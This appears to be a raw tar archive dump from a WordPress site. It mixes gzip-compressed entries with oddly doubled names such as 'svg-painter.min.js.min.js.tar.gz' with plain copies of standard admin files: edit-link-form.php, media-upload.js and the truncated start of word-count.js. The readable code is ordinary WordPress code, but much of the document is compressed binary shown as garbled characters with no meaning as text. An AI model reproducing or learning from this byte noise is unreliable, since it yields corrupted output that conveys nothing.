,	|ik�t\���)&W!8�0��0��Ȟ�`�G�H�>��*+|#��	�n9���o�r�YwZ�����W�"��\�����wi���G���2�R%�^�
V̰�gٟJ�?Kp~r�o�t�������v�
�����KS����
p���F~�l�(�)>Ѫyʯ�����9mj[r#�󷯩5��d]�m��i�!���rCxQ��Pv.������8��T��~̥'�8��镊�uߨ�Y5!�� ؃w�3�e@��j�3.х?'�?}[jf+:���!��XKj�Z��~H��ʼ��nP�h��-��gڧ�(&���5�53����BO͚��)<M���OcIq��v��b΋����'��]�E��1r��w�4���>z��Q�A�z�Ng:��
j��N�A��]l5�KMUQ��Ο���y��'.�<q��f��~�(�ta�jԼ��u���l�Q�=�A��07a~4�%j��h����	V�;=Q�/	o�u�\�~��)���~���P��e�%*Kh��|��VK-?��wbU�E?bp*�	A��<��./��E�v4����N*Go%7bBі&���C����<B�����Al��hv\�!�c��*\"���g�����#A[^}r�s����������������TF�svg-painter.min.js.min.js.tar.gz000064400000002542150276633110012533 0ustar00��V�r�6�s���[AR�e5�xR7I�[.v�6�ҁ(P�C*Zq$�{$#ɉ��Lg�>#��r��svə�D �I�2���
��B���,X�=>���A~1��<�FhD�y~�f�
���^+��=������{�.�;�~��s�oh�������?\�ݖs:Kr'NR�FyS!��FL����DN��_��n�Z�t1���kF����I�Ă&T�%*r��F'�A�׎��r�QMsт�4f`eʆ���ag��2V��`������	9�c�����j"pJh�t�Rً�!8��Y�3B]7-�6'XRC8O����x ֦�!��M̰lbI��
95�0�a}.g8��O�Q�C�#Bl�Gb���^���eI�,
I�1E���(k�?x`�x��`����Z�B˖��m��]��^��B�F�x]q��~��S�	i��3�?F3c� X,�_�ip�28y���	�Zg�iƧQ��;��k��?V�K�k��q��P�H*G��I#��W�@$R�z���?���?����Ϟ�xyr�˫_��5GOg��4�j���Mq�xw����?����w�
��Dl�V��¥ؒ5����Z���
�D%���<����C�5�޷��g�Yp�F��"H�\A���)��ڐ@=ό�ihF����=B����ź;W��`��c�����&6�i���@;hz��q���<M"�B��j�%eI����-�93н?�S�j A�@�z��K,���Y̫�c(���^bDfӆ�~.̱J��q#����lZ˪��!����� ��L�6/ww�c���b^�D3�x�/�o@�H�|}�y.6���b�b��c�H ��d|���v�X�H����"]l�<��۩V���EC$�^���z��	7�_=��C�]��6�^׶�ԟ��QB<U��u S��5u4\̹���M(l7m֔��j[(��k�zy1��#r�k���`C7��Ӈ6���!*�)��v2��L��TМl���_�+�˯�$�0���� J�i��榈�J���Q&1�b[�g�\����;���Y��q���!t>����\m6��|$p&�x��‚]ոH���k��b���g����!͙e��m(~<�\��Ň�i�E�O�D됁��r)Fv"�D:�Q�W0�a�+SeT��Z��ܶ�����LR�\H¾{D�нz��w��Q��e*�5�=пF���w�B;�����(�����H���n��1m��J`4���[D�>��:�Lc�=W@��i�+Viå	�`�%>Q}I�":�n�<%��Mw�n��]7Y82d
privacy-tools.min.js.min.js.tar.gz000064400000003442150276633110013107 0ustar00��X�r�6�_A3S�(�r�4#��d�,�I[�2�LB`P��ѿ��)ʖl��#s�pqq�p�r6��r+���K�)5ˢT��e1�Y����/hz5�J	a0�d~x��y~|�s<�GG��������Q|r��G����^� ���pXc�b���>=����xS.��oZZ5�1�4�,���[����2�\I��T{:�'�"�2��q�L{K�B\�(�s�i&I�,{-�+��y�1�agޏ��
"�r�`7�V��Kœ�m)j��Y��6���R-٥Ŷ�^��Z�Z#�lu�\i�jOM�Ln)�8�B	&gv��E�h:'*lcU��$��
�n���Z!Ԟ��nv�~9�;�����+@ז�T�)�9˜{D���/q��)�ki���S����f�����j/u���/����S;�RGA�������蓂K��TX�sk���}�T4��ꗧC���¹ZG�P�
���T2j�`Ne&�D0�OO?���)�ɂX�A�<ۨ���5{�q��#4�єˬ�F���rƷtj��jw7�&2rZ7�.�Y;,�La}(ڑz��|��b�L�Y�d6tX�4���0���s⿒�ZiO�i����r�(�Z���r9��ꭼ��mA�����
8z�s��ur�f>��=��3{�s�J�߮nD0Ea
x <��N��$�R;G@K~�OI|*��P�� ����j,&A�ɟ�hns�e+�-��_ؔ���C���x�UAg��&�Z��zg3߿��%�A��8�fKE�[�%���%�.�/#���7t���5`�>rӇwb3l�1V!��i��� ��2�W�,tye�8x��U�3;W��/����(S����AV�k�@����V�g$'
$��wr
���p�݉v*A����X!�jC�a�������ن]�Ep�goI�?,�.ϼ� I�8�5����4!�R(����w�p�;6�B�u�е�l�J��
T	�_�&�U��Զ�ʤ�[/��V*����,Qe��D��I���=m��ͺq@�s�\��.�����d�o23v��ˣ�py�Æ��M
<����U{�a�any�
���Ƴg-��n6���.-�ȸ��^*~ ����Klā�v.�	���pn,���	I��ǝd�0�@&Or�$h�l�'T��l����.�s�7u�'\n��Mn1��n(�`�$IyV}g_��T+�=Dܻ(m53�̶�^R-+���ּ�SS��Q�;�p�[�_m��5���d|E ����
�6
in@�{zѾ6�Y��B�J�<sw�������R=c(G�~�c���_>%�`T7hG\2�U2jߗ��P\U*W̩P����ޠ��Jg0h���=X_/��ַ�Ƒ���F��I��\h��Ѕʮ63�5���?�`눭�@�N%*����jH5�A��!��n�e�B!�p��Js*\�L��[���Jڪ��1Z�n3��ކ��6۳K��VyN]��#n�-�ˎ�����Nn�G��~�Č�S��ɮ��l{f��,l"���,":A�`�3�N��3%:�q/lj�=:|�1��w�1�cĕ*�͜��l���U��c�Z�
��g�
�!���Y�g��~UT��M.�'��II
�����v��ˢ�O:��m�S%�>l�/��M�,���i�5N�%�A��3i�#v�������uF��)�%�>�;d�x-``\����a���{�W6�=� a0f0��_J>>����<>���U)��dashboard.js.js.tar.gz000064400000020630150276633110010655 0ustar00��]�r�ƕ�_�)ڎ�Z3 ����B'�.�����t\�K5lzf b��p,�*ﰿ���${n�h`0�x/��U.�@_N�>�;�>
����t�T��vǥ���vQ�8���e1��<�v���X��i��8zoq��=����������_�b���/�?|���_��+�w�Y~��\”�s���~����\�._TŢR����no�~��i~�SU����@�bQ�U�:�/�� O�Urn��I��U�0��$����X�P��M^,R]i0P]$�7 ��U���.�$��e�,ԡ���Q}�|�^���YR�������t���]/�����%�Nt��h��fFy�H��,2X[�A�jA�M��Q��_E{ĩ�Z�r���wvԇ�s]��I��Fg&���U��lX�Þ�lom��JbCm�i1�7#j=����X1�0���…m�G�\�t���4A�U>�'2��#lN]dY��,��Х���y��]�p�QG�|��*�ԩ��ReyY�jQf��y�ė�hw��pX�g��X�u'BI�ׂ��4�=P=k��(rgK�9p��CiGͲV{�ؑ�9�Jt����y��uI��U�f��lT	�V���)�B5����J,�@��m�
Ɉf�>M��=>6YoGݽ��Be^�{2�a5F*�<?7��pL�W��/g&c
H�<�V�.�
�
��5�o\F��2@@���v�ZOݘ�7h,i'��р�ʋ��e�r
��33ы���2���q����=E��Щs��ZC�ۑ�?Dh�-P�SmM��G�D�ia�mk��ͅ�����4m��@}��HWY�h�[���+�>A�㙁�^
v�u�
^bǰbMʸ���a�*��`�2ɦ?���_��V�ա�8T?�<��2��r�{נ�L�SSZӼ\K�=�qBC��K˛��H1Y����T�c\f�O�t�^y�*[�/�>��sZ%���&D���R�����D��9S��t+;˗�
ģ�Uf���)/U����p��N'Ck�y[Z��f�Q%s�B�ı*���g���9h�݀��x BN�&�)3�M�mP��3n�1��O0!3��k1P�R��=$����GIfA��A�'��Wīa
n��x������}�/����b>G/�,h߱w����M��lZ����ЏH�%�e(�ڲ�:f����G���&	v���"nSDH�7���߲q<�*4]��?�9uW�:z�}��:
	9�x�*X�R|n,��X�?o���*�N(Rg�;�x�/�~/�˹N����v�1���"իR'���r	���hO�~�
���Ҁ��س��5VZ�Œ�I2�;��|��v=!y�N����nc�}!p>"��_!S�\'�F���t��d�+OpD�IY��BÝ�Q���,4L��k_R�p3t�R�����¤o�/��B�w:=��|1�!������i���0�4ǝ��he4�e�F�㝮�e�N��hX�wv���&�� K%*Ql(q���0��F��e��*N�Ѓ��D]���|
*X�)m�0rQ��>����Y��DWX�f��D�}�Cj��2@Р�Ǣ�3B\�]��щ'����<b�>,h]��I2�@�~�)?���@]��Z�KM.�Bm��/���ՠ�G쉓��H���Gq;P��$˜���{AS���_��4�3ra��{�?���x
�<DzT�(��C�&�&���2��x�X�a�t��k���bN�<S���Q�]U����)��Ț�cf���pOh�����1s	�Q�����ɔ0ρ���j��]�uΪy��{�{5%�%9C$�ِ�J9�<K����^��G����5����U)9�d gh�hD��A�Rg����QO��bGX<�Q{�n�
#O��+G�
�A��E��ݷ�;H���-�WՎU�j�7��)i���3��Y�HU��gUZ��ԍ�p���ٴDW
m�/'�ɩy�[w<9��q�P�j�����ڵuO�լ���!�
;���h��aoS�
d�0�%P=Z�\����
t8��!��Ȋ�?�:\�fz
��'.`�����ƂR��
�3ݗ�E���4����)�l#��2,����M��`J�6/+e7r@��(�)$W'�&$�bY�״�O�A��Ait�V��:�Ƨ��N^}Z�.k�%��g�'�������^�Ơ��-���}�	����2�.=�{s�#�����w7������L��q}����>�6�;��l��;�D	�IM�|���;73��Vx+2~��+�B] Ö�WcD��OYPIӇn0L�d�Se�U
6G|�
���ov�������^@c���2N�QO�����b�g���x-}n�����P��������e���}���D��ҝ� Q�sra�lhǥ�=�,�V�9:�ݭI}�/<�w���;�`5D*�$�}�1�_��!u�?��m�h�>.Ŵ����v�3�4h�&M@	W���qB��QV3�Q-����Ñ~����RV
'z���ށc<�q�����>AS�ޘ�H�4�̐��7|#�^"�
lȼ�^^��ߵz�f�_^��7��e9��m=U^t�>��v9K*3�8Aж�?$�9��7�;�m?�#y���v5�*����3e��|JσT���;+�Ea'�G��nxP��ȡS0>p>cP5$�I�
r�r�,	n@��xpTB��3�ĝ�ݐ���"6�l9=x�@�$P�����Nm�נ�~���͢�Mj5%�`Q�H潺���Ẁ1<s�h7���"��ꯜ��S��p�C�&ZpW�
P%O�S]0ِ�J��jH94]�ک�&m׎�p�S3m�]L�K�I��a�N
:��oN�S1a
�:ԕ?�Z|���֮ѧ�Ɏ�j��v��g�ET�a��@!�w���H�c_L��6��KF���y��a�}��NW�֖8�I��8�eǚxE�F�7��v�`��+u�����c��%�5?J��0o�%X(V�!
E����
ZX\�~)GL�뮝��;̖R���1z�|Bz�3\�xL���u�
����#|�!�����_٢L�j��h�|9�G#zt>��G�/����\���T1�*��0q�I}�:tR����L`~�{��-�4����V��S�K
��;���B����1��9x�)xu�4��"NJ���c��7Ok�.ݏ�Y"�:Xr�9�nI�aJw��)Rj�:?���ѸL
�׺4ʀS&e����CC�l�l.����`G����`�O�'�VZ�����31G8���KL3R��h�� ���)&y�dn����o�(��L��ʂ]�1d�b��D�1:)�1f���2gL��	f���d�ޞ�('�L�)?�qh�O�)��������ZL�f���m�epRe��4�!��F����L8jl�:����I�:s����#�Z|*IY<�2ӖT�2'K�2v?�Jr.�0>3��d�D,L^�7AP�F^+d2��Zh�(�o+Đw��ʧ�j����l�o���z�F{ݪհ�E阝S��4�A�@�7��cyA�%�_����ً$�����t�]�3��Z��Iw,����l5�e#�&�oB(�_���¹OER�
�oA���D#�.�t��%����f^`Χt!1����D"QT��N2T��ї$�2�Γ�1�R���G��X�Q�|��<�cp�fʔ=���ю��XV]�2�$_�J��-���-�w;��!б/
���&Cvk�6����'��i����kCMf��&J��ĈK1-��+	��j�EE���G�H��+��
x񘇹����d�a�5M
�j���&�����F�K~ω V�k�K
�.���-��;!��7u"t�] EPw	U��L�Q��E�7V�	�4a	9~���.�rg�Q���G��$�k4:"�Bt�,�sc��yy��Xd���L̬���l�
���O֒
O�5֖)?̐Q��
h��%�E�zDs#B?�lt�.`D1N��(v0Tm"<�	��=<<l�J�x:`��o�2�~���ůq�Z�t�	@���#�Poڇ��J���T)txJ���)�NQ=Ef�m�N(��@�
!Q*��
a�	xi���g��-
��� ;n�Tdߎ�;��j]p���T��QM�o8����&n�l�l�ٞ5�\�e�ͽ\7G"�}~t���yI�������ĮM�'��nj�!�t#������ĉZr�:��n<�1���<����L���U4��7�r��F�Y��`ܱ�+p�gs�ɛ/���!-*@�P��@�:�!��ȇ-�x�U)�M�W#<o}Aِ>���<=71;Zt0�_p���X��m�UԞ�j*��0��_��z��ڊs�9�,�0RjzX�����*1J
���w�����1Jsvv��IL�!G�����|�=�\�خKD�Tݑ{n`]�j�_dgY�̞�����
.��k�]w��u�9�g]��Ih��`$c�c�
����785�t����"
�1w'D���|�`�T6Ia��U����z�`1�ϼ�B`K�&T��Ży�`+�N�ꧻ��\�z�[�y��o���zB0Y�$\K�Ln��]��!�|�qI+o~xW?�U�Sx�&Aֱ�����-�c��!���Գf��ӻ�k��?���D���N�
m	�2ISrAY|�6h�6U&��'�*�*�|1�0�\g�;]yA�I��$~�	o�+�-QRY�Nn`��D(4�MƶD�6��˒8�����-�芈dc䞼���uɎ����#�m�&���+M>�����G����*��dL�|A��>M�ٗ��2�#>d�6��2�MS撸D�7�p�"s�f��sfL�%^��&@�Kޅ�H�����39��4$�7�3��CW���rU��f�`�qݚ�t�cc&�]�	��%�52�x�V�S��QN{��+e-��[GX�K5��ƦBc��4�;��FhN�_��ac��i!�����)1+7-c��(n�o����y]�z�� <���:;0EN��=��x�(K�9��A�0��uд�ύt��9����^��+�8��`�|f����m��;�Cpn�tPF��ʡ����~[��3�IQ�S�q1�9��!���jr���EɵJ��q�2?UF"i�b��B#��6�rق�@�T��Œ����s�'�W�|Q,���39�{.;�����z�M�����;��^
|��-aǻ5
���g��-<<��Dlw[�n�=m����;u�1����T#�c\)���t��17�M(R�RW'4�r{�}�YNo,�ɲG��k���q���*��g}�8�Z�	`�5]�M������?t���K��x�b>���8R���,�g6�.�C�%����a�PR��O�_�j�J�������E�a�z��f����ͧ6�5�ޅFGB9<��rk�?��8���U�Ht|��'�T.��(�UU�Gd�����.LT��K�<Wc�]�G
Ry�8��&�
�l=���Q;�����UXɪ8=�AZ�0������dǩ&��(K��zּo���<5��C8S�d��PJZ(R�|q�#!hfV]�K��v�
���5���钸��z$榻�����WS�����)���Ww�<D�K��i����\c��x���,"�-JG��,>��4K3�F�dWV�+�/l�y���>~���8�p��$��d[끞gS���3O��M�!X��I����N���Z��r�/4!J����(�8P�
b����X�
O���z��U
�B�f����9ZJ����w
���q9Yy��u���s�������
����sD.��1�0A�j@%7�:;u���Hf%ݣ�x�&�Q<�H^������1�NU8]K�w%`ff�8^��90�%��i3li�	W2�Dž�M���$k,?MPn-&�p��4O�Şc=�
}A0�����DQ5�c�Y�?‰���GR'�*0YO{ц��z�1Hg&��������G�ǟ���[W+ot2�Y�_lp\��&|���m��oC_b',��g�
�Z+M����$Aw�/AhDT��
��p���̿��P'�]�*}B@3�p����U+p�"?Ćb�
U�)��g��ɅPO���Y����esGu:�O���I�
O�!�5��>S�DW�I�U ;���T�m;��8
�C��h�����{������>��G����U�K�J���#N%��VɾђcN�;^�8f���u�T�`[=az��c���0�}_��s�q�b��N06�4��!A;�O�F�|B�ϸ�&
���,`R��_�Oa�xi�*��UnJ^���B���ǣo����X��wfU2Ytֶ�}��5P�AP.���l�OW�|��/t��e����j�y1�«
|E���W3j��'g)@�(�8U�}�c-����N0ہ�_��-��uvQFBv�� �_��&� ݫ'���9O\�p�����}��*/e����<2f
	p�@a�ݯ
Ђ��]$���Fz-L:4�J$���t*.��G�̕W�S��6��NޔfBV�"�493���N�~؟dg�	(�= �4�wѿ=ãW����h��
��e
W�9��4�:N"N�uf9��tf��	VKo[��:XyAׄ�j,������}WH�q�K).vK��-NC�9��Y�_��-Z&x<�(T��8[��H2/���&wT8"�Qg���ز��_;�m�1�d��˚a�:�H��0���o�[�2�̢u5����x�$�@}0�%[j�	�E�����ǚ����Dc.���zY�)7�u�J4��ѩ���Է�O��G�Qf���#��&v�3�B��Q��*��.0c|���)�E�ܽ���w��G���j�24|��5�z���OX�+:bN�^��{��7�v��n�Chro�}!�`Ӂ2�Bp=�$df�ȸ�5��O�e��Ah4_�D1l  ����{��G������#!��=�it�*��q-L{eH�	N؝�' �S���H���&tȌ�p�p>-f�ӡ��S��`,�����.g�"wcr��?�C���������u��<�N���Vc��Hs���l�mmN9�P�<y27%X�ݧ`
�4?��l�-W��?�a/������1�nׯ�?��$�k$���˪�_�`�,1U�F���LN���3�
�XW��[����5��4x�B2���K�}��ZW����Ӎ	�*�׫���8�+�����L�MV�?�>������|�7���6:c
����&����h9����ꋽ��}8g�K�����X�A�,&t��Gd@�9���_b�fBeS����C�y0��O�
����`���a	2�O�+\� ~�y@��m�ߧ��x-3��\e�1�UÇ��G�*5	h+d�	�%���k�SH�~��I"d�
+�.�F�!�@�Qxs�E�������9��l�$*��E��xi�]*坂9�H�&�l�C~������fb�sX�lz
��z�!]
��%�ea͔Za�}�C�+2�T,H�0�|�������Tj�y^�9��ሏ�k�L��C<ۺ�S)>\��󌈨l0�2bR�B2_��,�|�V	�4��v��O��?X5P������c���x���Ks��s����ymۣ�[�\.�bVD��v�z��>t�3���lü�y�� ��4ҁz������s
��k���z�\����	����@='����x_f��&�;V}v�N�����g���;��BO�ZR���&����%��`
�ai��G���C^�����#���Ǐ"N0���O?j[�Cfz���\�C4�,L���d�c����ײzբ:<v
ɹ����,6i��8.���Ax��A[�h�e~�fj�Z�|�5 2�o���=�]��]=Z��t{�#c.�9~����<����Z�5�;��f��x�Ġ��ܟ�;�|ao���s�%x����+�� ��;�W9�|zU>.'��:��s�*�{FQ|���}�I��;nN�N�ݻ��
kj�J���[t�-���[��H�~��K��g���A>������M�4�[�w�����i׎�Q��{�]�#M]wb����yq���e�b$�#,~�� T_1r���J>FU�Qɇ��Jb���Zb45�$�=U����㫛&�I)*>�Fٻ�0hp�zo�v[XJ���Ճ�v�ɔ������~������vd*Nredit-link-form.php.tar000064400000020000150276633110010657 0ustar00home/natitnen/crestassured.com/wp-admin/edit-link-form.php000064400000014332150274116050017652 0ustar00<?php
/**
 * Edit links form for inclusion in administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

if ( ! empty( $link_id ) ) {
	/* translators: %s: URL to Links screen. */
	$heading      = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' );
	$submit_text  = __( 'Update Link' );
	$form_name    = 'editlink';
	$nonce_action = 'update-bookmark_' . $link_id;
} else {
	/* translators: %s: URL to Links screen. */
	$heading      = sprintf( __( '<a href="%s">Links</a> / Add New Link' ), 'link-manager.php' );
	$submit_text  = __( 'Add Link' );
	$form_name    = 'addlink';
	$nonce_action = 'add-bookmark';
}

require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';

add_meta_box( 'linksubmitdiv', __( 'Save' ), 'link_submit_meta_box', null, 'side', 'core' );
add_meta_box( 'linkcategorydiv', __( 'Categories' ), 'link_categories_meta_box', null, 'normal', 'core' );
add_meta_box( 'linktargetdiv', __( 'Target' ), 'link_target_meta_box', null, 'normal', 'core' );
add_meta_box( 'linkxfndiv', __( 'Link Relationship (XFN)' ), 'link_xfn_meta_box', null, 'normal', 'core' );
add_meta_box( 'linkadvanceddiv', __( 'Advanced' ), 'link_advanced_meta_box', null, 'normal', 'core' );

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'add_meta_boxes', 'link', $link );

/**
 * Fires when link-specific meta boxes are added.
 *
 * @since 3.0.0
 *
 * @param object $link Link object.
 */
do_action( 'add_meta_boxes_link', $link );

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'normal', $link );
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'advanced', $link );
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'side', $link );

add_screen_option(
	'layout_columns',
	array(
		'max'     => 2,
		'default' => 2,
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
		'<p>' . __( 'You can add or edit links on this screen by entering information in each of the boxes. Only the link&#8217;s web address and name (the text you want to display on your site as the link) are required fields.' ) . '</p>' .
		'<p>' . __( 'The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you do not use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box.' ) . '</p>' .
		'<p>' . __( 'XFN stands for <a href="https://gmpg.org/xfn/">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Links_Add_New_Screen">Documentation on Creating Links</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<a href="link-add.php" class="page-title-action"><?php echo esc_html__( 'Add New Link' ); ?></a>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['added'] ) ) {
	wp_admin_notice(
		__( 'Link added.' ),
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}
?>

<form name="<?php echo esc_attr( $form_name ); ?>" id="<?php echo esc_attr( $form_name ); ?>" method="post" action="link.php">
<?php
if ( ! empty( $link_added ) ) {
	echo $link_added;
}

wp_nonce_field( $nonce_action );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
?>

<div id="poststuff">

<div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>">
<div id="post-body-content">
<div id="namediv" class="postbox">
<h2 class="postbox-header"><label for="link_name"><?php _ex( 'Name', 'link name' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_name" size="30" maxlength="255" value="<?php echo esc_attr( $link->link_name ); ?>" id="link_name" />
	<p><?php _e( 'Example: Nifty blogging software' ); ?></p>
</div>
</div>

<div id="addressdiv" class="postbox">
<h2 class="postbox-header"><label for="link_url"><?php _e( 'Web Address' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_url" size="30" maxlength="255" class="code" value="<?php echo esc_url( $link->link_url ); ?>" id="link_url" />
	<p><?php _e( 'Example: <code>https://wordpress.org/</code> &#8212; do not forget the <code>https://</code>' ); ?></p>
</div>
</div>

<div id="descriptiondiv" class="postbox">
<h2 class="postbox-header"><label for="link_description"><?php _e( 'Description' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_description" size="30" maxlength="255" value="<?php echo isset( $link->link_description ) ? esc_attr( $link->link_description ) : ''; ?>" id="link_description" />
	<p><?php _e( 'This will be shown when someone hovers over the link in the blogroll, or optionally below the link.' ); ?></p>
</div>
</div>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<?php

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'submitlink_box' );
$side_meta_boxes = do_meta_boxes( 'link', 'side', $link );

?>
</div>
<div id="postbox-container-2" class="postbox-container">
<?php

do_meta_boxes( null, 'normal', $link );

do_meta_boxes( null, 'advanced', $link );

?>
</div>
<?php

if ( $link_id ) :
	?>
<input type="hidden" name="action" value="save" />
<input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" />
<input type="hidden" name="cat_id" value="<?php echo (int) $cat_id; ?>" />
<?php else : ?>
<input type="hidden" name="action" value="add" />
<?php endif; ?>

</div>
</div>

</form>
</div>
comment.js.js.tar.gz000064400000002240150276633110010365 0ustar00��VQo�6�+n�ɉMَ�^Stk:t�a�0C@K�EG������」d9��!�u!�:~wǻ�x�(M����F	��Іk]�"dA������D*�}�N�2l��}���:����Q��`���G���g/F����
8G�������[p���d���z#�o��c���ǐ��L�BWrk�{�B
&	Ӡ e�oA,���/-U `�Ƭ�e<�	�-~)D~��6��F�/H�Xm�U�<�*02U^�w��S߈�0����M:��B{n���K�C�Ȅ��d�\�9�=��"��m9�e!p�Eԇ��L{{ꫜ���a��&��=�U��"�f�����X��F}�ڻ3����`j��*6�Xn ̈́ҶF���Y�' gV\�5D2�bd�zKmHw�j� ���UU�-y\W����nSKͅ)rw�T�k����V\��n�^��;^��ˎ��L�0��}��eH�\�m�\������АV'2�(�"��\��3��ܿ\��!�H�����c�A{��0���0��\�d�nak�6��o�3���!	ϊ0_N����^�/bcO�;�U`t%_���Dp��Q�0-��`�m�E�@Vb{��-�᝸N��c؁5�L��*�7�����n�sc:JWV��
�g"Tl'I�7�,{�Qr�uj�bq�e[燰Z��E�!��ma�j��څ�u��6��Ļz�қ�QN�\�k�ۮ�G�
�kor��m��Z@L��b?�T=/M\���y5t�5�B�T�-M��XT�-)�E�p[[TW���4I%Vx�?p���й�Ճ�'kV����n:-Ycsa~(��s�w_�S<>�7��p�*!����������1�{�K�
��TQ����4i����T�*�'�*�M�,�k[$`�E��\$���̺����*cr�b�רxULl"ĩ1�As.���r��Λc09W:�1��lR�0�`)n�p:�aFx��#Ʀ�Yf�9<�5
ۺG���y~4j��ѸM���.�y *8Mܦ��O��Ο��&x��!�2�7��]�
�����y`th����Ge<K�A�zj�H�ã�=�]�O�AFw���ao�hl��A��(��/��+pq_������ZO�i=���G(~��media-upload.js000064400000006611150276633110007453 0ustar00/**
 * Contains global functions for the media upload within the post edit screen.
 *
 * Updates the ThickBox anchor href and the ThickBox's own properties in order
 * to set the size and position on every resize event. Also adds a function to
 * send HTML or text to the currently active editor.
 *
 * @file
 * @since 2.5.0
 * @output wp-admin/js/media-upload.js
 *
 * @requires jQuery
 */

/* global tinymce, QTags, wpActiveEditor, tb_position */

/**
 * Sends the HTML passed in the parameters to TinyMCE.
 *
 * @since 2.5.0
 *
 * @global
 *
 * @param {string} html The HTML to be sent to the editor.
 * @return {void|boolean} Returns false when both TinyMCE and QTags instances
 *                        are unavailable. This means that the HTML was not
 *                        sent to the editor.
 */
window.send_to_editor = function( html ) {
	var editor,
		hasTinymce = typeof tinymce !== 'undefined',
		hasQuicktags = typeof QTags !== 'undefined';

	// If no active editor is set, try to set it.
	if ( ! wpActiveEditor ) {
		if ( hasTinymce && tinymce.activeEditor ) {
			editor = tinymce.activeEditor;
			window.wpActiveEditor = editor.id;
		} else if ( ! hasQuicktags ) {
			return false;
		}
	} else if ( hasTinymce ) {
		editor = tinymce.get( wpActiveEditor );
	}

	// If the editor is set and not hidden,
	// insert the HTML into the content of the editor.
	if ( editor && ! editor.isHidden() ) {
		editor.execCommand( 'mceInsertContent', false, html );
	} else if ( hasQuicktags ) {
		// If quick tags are available, insert the HTML into its content.
		QTags.insertContent( html );
	} else {
		// If neither the TinyMCE editor and the quick tags are available,
		// add the HTML to the current active editor.
		document.getElementById( wpActiveEditor ).value += html;
	}

	// If the old thickbox remove function exists, call it.
	if ( window.tb_remove ) {
		try { window.tb_remove(); } catch( e ) {}
	}
};

(function($) {
	/**
	 * Recalculates and applies the new ThickBox position based on the current
	 * window size.
	 *
	 * @since 2.6.0
	 *
	 * @global
	 *
	 * @return {Object[]} Array containing jQuery objects for all the found
	 *                    ThickBox anchors.
	 */
	window.tb_position = function() {
		var tbWindow = $('#TB_window'),
			width = $(window).width(),
			H = $(window).height(),
			W = ( 833 < width ) ? 833 : width,
			adminbar_height = 0;

		if ( $('#wpadminbar').length ) {
			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
		}

		if ( tbWindow.length ) {
			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
			if ( typeof document.body.style.maxWidth !== 'undefined' )
				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
		}

		/**
		 * Recalculates the new height and width for all links with a ThickBox class.
		 *
		 * @since 2.6.0
		 */
		return $('a.thickbox').each( function() {
			var href = $(this).attr('href');
			if ( ! href ) return;
			href = href.replace(/&width=[0-9]+/g, '');
			href = href.replace(/&height=[0-9]+/g, '');
			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) );
		});
	};

	// Add handler to recalculates the ThickBox position when the window is resized.
	$(window).on( 'resize', function(){ tb_position(); });

})(jQuery);
word-count.js000064400000017020150276633110007207 0ustar00/**
 * Word or character counting functionality. Count words or characters in a
 * provided text string.
 *
 * @namespace wp.utils
 *
 * @since 2.6.0
 * @output wp-admin/js/word-count.js
 */

( function() {
	/**
	 * Word counting utility
	 *
	 * @namespace wp.utils.wordcounter
	 * @memberof  wp.utils
	 *
	 * @class
	 *
	 * @param {Object} settings                                   Optional. Key-value object containing overrides for
	 *                                                            settings.
	 * @param {RegExp} settings.HTMLRegExp                        Optional. Regular expression to find HTML elements.
	 * @param {RegExp} settings.HTMLcommentRegExp                 Optional. Regular expression to find HTML comments.
	 * @param {RegExp} settings.spaceRegExp                       Optional. Regular expression to find irregular space
	 *                                                            characters.
	 * @param {RegExp} settings.HTMLEntityRegExp                  Optional. Regular expression to find HTML entities.
	 * @param {RegExp} settings.connectorRegExp                   Optional. Regular expression to find connectors that
	 *                                                            split words.
	 * @param {RegExp} settings.removeRegExp                      Optional. Regular expression to find remove unwanted
	 *                                                            characters to reduce false-positives.
	 * @param {RegExp} settings.astralRegExp                      Optional. Regular expression to find unwanted
	 *                                                            characters when searching for non-words.
	 * @param {RegExp} settings.wordsRegExp                       Optional. Regular expression to find words by spaces.
	 * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
	 *                                                            are non-spaces.
